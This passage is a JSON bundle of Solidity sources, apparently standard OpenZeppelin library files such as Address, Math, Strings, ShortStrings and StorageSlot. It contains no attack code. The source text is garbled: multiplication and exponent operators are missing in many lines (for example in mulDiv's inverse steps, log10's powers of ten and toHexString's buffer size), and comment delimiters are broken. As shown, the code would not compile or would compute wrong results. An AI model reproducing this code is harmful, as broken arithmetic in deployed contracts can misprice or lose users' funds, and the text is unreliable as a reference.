loss, though the caller must\n * understand this adds an external call which potentially creates a reentrancy vulnerability.\n \n Requirements:\n \n - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n \n Emits a {Transfer} event.\n /\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n /\n @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n \n Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n \n Requirements:\n \n - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n \n Emits an {Approval} event.\n /\n function approve(address to, uint256 tokenId) external;\n\n /\n @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n \n Requirements:\n \n - The `operator` cannot be the caller.\n \n Emits an {ApprovalForAll} event.\n /\n function setApprovalForAll(address operator, bool approved) external;\n\n /\n @dev Returns the account approved for `tokenId` token.\n \n Requirements:\n \n - `tokenId` must exist.\n /\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /\n @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n \n See {setApprovalForAll}\n /\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/\n @dev Collection of functions related to the address type\n /\nlibrary AddressUpgradeable {\n /\n @dev Returns true if `account` is a contract.\n \n [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n \n Among others, `isContract` will return false for the following\n * types of addresses:\n \n - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n \n Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n \n [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n \n Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n /\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /\n @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n \n https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n \n https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n \n IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n /\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /\n @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n \n If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n \n Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n \n Requirements:\n \n - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n \n _Available since v3.1._\n /\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n \n _Available since v3.1._\n /\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n \n Requirements:\n \n - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n \n _Available since v3.1._\n /\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n \n _Available since v3.1._\n /\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n \n _Available since v3.3._\n /\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n \n _Available since v3.3._\n /\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n \n _Available since v3.4._\n /\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n \n _Available since v3.4._\n /\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /\n @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n \n _Available since v4.8._\n /\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /\n @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n \n _Available since v4.3._\n /\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/\n @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n \n This contract is only required for intermediate, library-like contracts.\n /\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal onlyInitializing {\n }\n\n function __Context_init_unchained() internal onlyInitializing {\n }\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n /\n @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n /\n uint256[50] private __gap;\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/\n @dev Implementation of the {IERC165} interface.\n \n Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n \n ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId);\n * }\n * ```\n \n Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n /\nabstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {\n function __ERC165_init() internal onlyInitializing {\n }\n\n function __ERC165_init_unchained() internal onlyInitializing {\n }\n /\n @dev See {IERC165-supportsInterface}.\n /\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165Upgradeable).interfaceId;\n }\n\n /\n @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n /\n uint256[50] private __gap;\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/\n @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n \n Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n \n For an implementation, see {ERC165}.\n /\ninterface IERC165Upgradeable {\n /\n @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n \n This function call must use less than 30 000 gas.\n /\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/math/MathUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/\n @dev Standard math utilities missing in the Solidity language.\n /\nlibrary MathUpgradeable {\n enum Rounding {\n Down, // Toward negative infinity\n Up, // Toward infinity\n Zero // Toward zero\n }\n\n /\n @dev Returns the largest of two numbers.\n /\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /\n @dev Returns the smallest of two numbers.\n /\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /\n @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n /\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /\n @dev Returns the ceiling of the division of two numbers.\n \n This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n /\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /\n @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)\n * with further edits by Uniswap Labs also under MIT license.\n /\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod0 := mul(x, y)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.\n // See https://cs.stackexchange.com/q/138556/92363.\n\n // Does not overflow because the denominator cannot be zero at this stage in the function.\n uint256 twos = denominator & (~denominator + 1);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 \|= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works\n // in modular arithmetic, doubling the correct bits in each step.\n inverse = 2 - denominator inverse; // inverse mod 2^8\n inverse = 2 - denominator inverse; // inverse mod 2^16\n inverse = 2 - denominator inverse; // inverse mod 2^32\n inverse = 2 - denominator inverse; // inverse mod 2^64\n inverse = 2 - denominator inverse; // inverse mod 2^128\n inverse = 2 - denominator inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /*\n @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n /\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /\n @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.\n \n Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n /\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2msb(a)`. This value can be written `msb(a)=2k` with `k=log2(a)`.\n //\n // This can be rewritten `2log2(a) <= a < 2(log2(a) + 1)`\n // → `sqrt(2k) <= sqrt(a) < sqrt(2(k+1))`\n // → `2(k/2) <= sqrt(a) < 2((k+1)/2) <= 2(k/2 + 1)`\n //\n // Consequently, `2(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /\n * @notice Calculates sqrt(a), following the selected rounding direction.\n /\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (rounding == Rounding.Up && result result < a ? 1 : 0);\n }\n }\n\n /*\n @dev Return the log in base 2, rounded down, of a positive value.\n * Returns 0 if given 0.\n /\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /\n @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n /\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n /\n @dev Return the log in base 10, rounded down, of a positive value.\n * Returns 0 if given 0.\n /\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 * 64) {\n value /= 10 64;\n result += 64;\n }\n if (value >= 10 32) {\n value /= 10 32;\n result += 32;\n }\n if (value >= 10 16) {\n value /= 10 16;\n result += 16;\n }\n if (value >= 10 8) {\n value /= 10 8;\n result += 8;\n }\n if (value >= 10 4) {\n value /= 10 4;\n result += 4;\n }\n if (value >= 10 2) {\n value /= 10 2;\n result += 2;\n }\n if (value >= 10 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /*\n @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n /\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (rounding == Rounding.Up && 10 * result < value ? 1 : 0);\n }\n }\n\n /*\n @dev Return the log in base 256, rounded down, of a positive value.\n * Returns 0 if given 0.\n \n Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n /\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /\n @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n /\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/math/SignedMathUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.0;\n\n/\n @dev Standard signed math utilities missing in the Solidity language.\n /\nlibrary SignedMathUpgradeable {\n /\n @dev Returns the largest of two signed numbers.\n /\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n /\n @dev Returns the smallest of two signed numbers.\n /\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n /\n @dev Returns the average of two signed numbers without overflow.\n * The result is rounded towards zero.\n /\n function average(int256 a, int256 b) internal pure returns (int256) {\n // Formula from the book \"Hacker's Delight\"\n int256 x = (a & b) + ((a ^ b) >> 1);\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n /\n @dev Returns the absolute unsigned value of a signed value.\n /\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n // must be unchecked in order to support `n = type(int256).min`\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./math/MathUpgradeable.sol\";\nimport \"./math/SignedMathUpgradeable.sol\";\n\n/\n @dev String operations.\n /\nlibrary StringsUpgradeable {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /\n @dev Converts a `uint256` to its ASCII `string` decimal representation.\n /\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = MathUpgradeable.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /\n @dev Converts a `int256` to its ASCII `string` decimal representation.\n /\n function toString(int256 value) internal pure returns (string memory) {\n return string(abi.encodePacked(value < 0 ? \"-\" : \"\", toString(SignedMathUpgradeable.abs(value))));\n }\n\n /\n @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n /\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, MathUpgradeable.log256(value) + 1);\n }\n }\n\n /\n @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n /\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /*\n @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n /\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n /\n @dev Returns true if the two strings are equal.\n /\n function equal(string memory a, string memory b) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n" }, "@openzeppelin/contracts/utils/ShortStrings.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/ShortStrings.sol)\n\npragma solidity ^0.8.8;\n\nimport \"./StorageSlot.sol\";\n\n// \| string \| 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \|\n// \| length \| 0x BB \|\ntype ShortString is bytes32;\n\n/\n @dev This library provides functions to convert short memory strings\n * into a `ShortString` type that can be used as an immutable variable.\n \n Strings of arbitrary length can be optimized using this library if\n * they are short enough (up to 31 bytes) by packing them with their\n * length (1 byte) in a single EVM word (32 bytes). Additionally, a\n * fallback mechanism can be used for every other case.\n \n Usage example:\n \n ```solidity\n * contract Named {\n * using ShortStrings for ;\n \n * ShortString private immutable _name;\n * string private _nameFallback;\n \n constructor(string memory contractName) {\n * _name = contractName.toShortStringWithFallback(_nameFallback);\n * }\n \n function name() external view returns (string memory) {\n * return _name.toStringWithFallback(_nameFallback);\n * }\n * }\n * ```\n /\nlibrary ShortStrings {\n // Used as an identifier for strings longer than 31 bytes.\n bytes32 private constant _FALLBACK_SENTINEL = 0x00000000000000000000000000000000000000000000000000000000000000FF;\n\n error StringTooLong(string str);\n error InvalidShortString();\n\n /\n @dev Encode a string of at most 31 chars into a `ShortString`.\n \n This will trigger a `StringTooLong` error is the input string is too long.\n /\n function toShortString(string memory str) internal pure returns (ShortString) {\n bytes memory bstr = bytes(str);\n if (bstr.length > 31) {\n revert StringTooLong(str);\n }\n return ShortString.wrap(bytes32(uint256(bytes32(bstr)) \| bstr.length));\n }\n\n /\n @dev Decode a `ShortString` back to a \"normal\" string.\n /\n function toString(ShortString sstr) internal pure returns (string memory) {\n uint256 len = byteLength(sstr);\n // using `new string(len)` would work locally but is not memory safe.\n string memory str = new string(32);\n /// @solidity memory-safe-assembly\n assembly {\n mstore(str, len)\n mstore(add(str, 0x20), sstr)\n }\n return str;\n }\n\n /\n @dev Return the length of a `ShortString`.\n /\n function byteLength(ShortString sstr) internal pure returns (uint256) {\n uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;\n if (result > 31) {\n revert InvalidShortString();\n }\n return result;\n }\n\n /\n @dev Encode a string into a `ShortString`, or write it to storage if it is too long.\n /\n function toShortStringWithFallback(string memory value, string storage store) internal returns (ShortString) {\n if (bytes(value).length < 32) {\n return toShortString(value);\n } else {\n StorageSlot.getStringSlot(store).value = value;\n return ShortString.wrap(_FALLBACK_SENTINEL);\n }\n }\n\n /\n @dev Decode a string that was encoded to `ShortString` or written to storage using {setWithFallback}.\n /\n function toStringWithFallback(ShortString value, string storage store) internal pure returns (string memory) {\n if (ShortString.unwrap(value) != _FALLBACK_SENTINEL) {\n return toString(value);\n } else {\n return store;\n }\n }\n\n /\n @dev Return the length of a string that was encoded to `ShortString` or written to storage using {setWithFallback}.\n \n WARNING: This will return the \"byte length\" of the string. This may not reflect the actual length in terms of\n * actual characters as the UTF-8 encoding of a single character can span over multiple bytes.\n /\n function byteLengthWithFallback(ShortString value, string storage store) internal view returns (uint256) {\n if (ShortString.unwrap(value) != _FALLBACK_SENTINEL) {\n return byteLength(value);\n } else {\n return bytes(store).length;\n }\n }\n}\n" }, "@openzeppelin/contracts/utils/StorageSlot.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/StorageSlot.sol)\n// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.\n\npragma solidity ^0.8.0;\n\n/\n @dev Library for reading and writing primitive types to specific storage slots.\n \n Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n \n The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n \n Example usage to set ERC1967 implementation slot:\n * ```solidity\n * contract ERC1967 {\n * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n \n function _getImplementation() internal view returns (address) {\n * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n * }\n \n function _setImplementation(address newImplementation) internal {\n * require(Address.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n * }\n * }\n * ```\n \n _Available since v4.1 for `address`, `bool`, `bytes32`, `uint256`._\n * _Available since v4.9 for `string`, `bytes`._\n /\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n /\n @dev Returns an `AddressSlot` with member `value` located at `slot`.\n /\n function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /\n @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n /\n function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /\n @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n /\n function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /\n @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n /\n function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /\n @dev Returns an `StringSlot` with member `value` located at `slot`.\n /\n function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /\n @dev Returns an `StringSlot` representation of the string storage pointer `store`.\n /\n function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n 